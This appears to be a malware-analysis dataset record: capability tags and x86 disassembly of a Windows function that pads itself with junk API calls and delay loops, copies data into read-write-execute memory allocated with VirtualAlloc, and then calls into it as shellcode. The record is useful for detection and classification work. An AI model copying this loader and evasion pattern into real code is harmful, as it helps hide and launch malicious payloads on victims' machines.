Function at 0x402b40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get file attributes
Initialize winhttp library
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
push ebx
call edi
cmp esi, 0x12e89a2
jg 0x402b6a
inc esi
cmp esi, 0x20ebb5
jl 0x402b56
cmp dword [0x4555f4], 0x400
jne 0x402ba7
push ebx
lea eax, [ebp - 0x41c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
push ebx
push ebx
call fcn.004032c4
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
sub esp, 8
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.004032b0
fstp st(0)
add esp, 0x10
cmp dword [0x4555f4], 0x93
jne 0x402c03
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push 0x402578
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidthA]
push ebx
call fcn.00403408
add esp, 4
push ebx
push ebx
call fcn.00403437
add esp, 8
call fcn.00403196
call fcn.00402b30
mov eax, dword [0x4555f4]
mov ecx, dword [0x449a34]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x456430], ecx
mov dword [0x4555f4], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x455084], eax
mov esi, 0x1692e
lea ecx, [ecx]
call edi
sub esi, 1
jne 0x402c40
cmp dword [0x4555f4], ebx
jbe 0x402cb7
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x402c60
mov edx, dword [0x456430]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x455084]
mov byte [ecx + esi], al
cmp dword [0x4555f4], 0x490
jne 0x402cae
push 0
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
push 0
call edi
push 0
call ebx
lea eax, [ebp - 8]
push eax
push 0
lea ecx, [ebp - 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
inc esi
cmp esi, dword [0x4555f4]
jb 0x402c60
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventA]
xor esi, esi
mov edx, dword [0x4555f4]
add edx, esi
cmp edx, 0x8d
jne 0x402cfc
push 0
lea eax, [ebp - 0x81c]
push eax
push 0
push 0
push 0
push 0
call edi
push 0
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x38681
jl 0x402cc5
call fcn.00402a00
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, dword [sym.imp.USER32.dll_GetAltTabInfoW]
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x402d2e
call edi
push 0
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x207142
jg 0x402d3f
inc esi
cmp esi, 0x67d12
jl 0x402d18
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x61
jne 0x402d65
mov dword [ebp - 4], 0
add dword [ebp - 4], 0x1158c
mov edx, dword [ebp - 4]
add dword [0x455084], edx
inc esi
cmp esi, 0x674bd
jl 0x402d47
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [ebp - 4], 0x7b
jmp 0x402d90
cmp dword [0x4555f4], 0x86
jne 0x402dc2
push 0
call esi
push 0
lea eax, [ebp - 0x41c]
push eax
push 0x40259c
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
cmp dword [0x4555f4], 0xf
jne 0x402dd7
push 0
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub dword [ebp - 4], 1
jne 0x402d90
call fcn.004026a0
call dword [0x455084]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret